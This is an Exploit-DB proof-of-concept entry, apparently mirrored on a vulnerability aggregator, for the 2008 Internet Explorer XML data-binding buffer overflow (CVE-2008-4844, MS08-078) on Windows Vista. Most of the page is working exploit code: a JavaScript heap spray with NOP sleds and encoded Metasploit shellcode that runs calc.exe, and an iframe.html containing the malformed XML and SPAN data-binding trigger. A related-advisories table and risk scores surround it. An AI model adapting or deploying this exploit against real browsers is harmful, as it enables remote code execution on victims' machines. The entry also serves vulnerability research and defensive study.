Microsoft Internet Explorer (Windows Vista) - XML Parsing Buffer Overflow

🗓️ 10 Dec 2008 00:00:00Reported by mutsType

exploitdb🔗 www.exploit-db.com👁 155 Views

Microsoft Internet Explorer XML Parsing Buffer Overflow on Windows Vist

Reporter	Title	Published	Views	Family All 30
Circl	CVE-2008-4844	10 Dec 200800:00	–	circl
Check Point Advisories	Internet Explorer XML Processing Memory Corruption (MS08-078; CVE-2008-4844)	11 Dec 200800:00	–	checkpoint_advisories
Check Point Advisories	Microsoft Internet Explorer Data Binding Memory Corruption - Ver2 (CVE-2008-4844)	26 Mar 201500:00	–	checkpoint_advisories
CVE	CVE-2008-4844	11 Dec 200815:00	–	cve
Cvelist	CVE-2008-4844	11 Dec 200815:00	–	cvelist
Exploit DB	Microsoft Internet Explorer - Data Binding Memory Corruption (MS08-078) (Metasploit)	20 Sep 201000:00	–	exploitdb
Exploit DB	Microsoft Internet Explorer - XML Parsing Remote Buffer Overflow	10 Dec 200800:00	–	exploitdb
Microsoft KB	MS08-078: Security update for Internet Explorer	17 Apr 201818:59	–	mskb
canvas	Immunity Canvas: MS08_078	11 Dec 200815:30	–	canvas
Metasploit	MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption	10 Feb 201020:41	–	metasploit

<html>
<script>

	// k`sOSe 12/10/2008
	// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
 	// Heap spray address adjusted for Vista - muts / offensive-security.com
	// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
	// http://www.offensive-security.com/0day/iesploit-vista.rar
	// windows/exec - 141 bytes
	// http://www.metasploit.com
	// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
  	var block = unescape("%u0c0c%u0c0c");
	var nops = unescape("%u9090%u9090%u9090");


	while (block.length < 81920) block += block;
	var memory = new Array();
	var i=0;
	for (;i<1000;i++) memory[i] += (block + nops + shellcode);

	document.write("<iframe src=\"iframe.html\">");

</script>


</html>


<!-- iframe.html

<XML ID=I>
	<X>
		<C>
			<![CDATA[
				<image
					SRC=http://&#3084;&#3084;.xxxxx.org
				>
			 ]]>

		</C>
	</X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	<XML ID=I>
	</XML>

	<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	</SPAN>
</SPAN>

-->

# milw0rm.com [2008-12-10]

25 May 2017 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.66513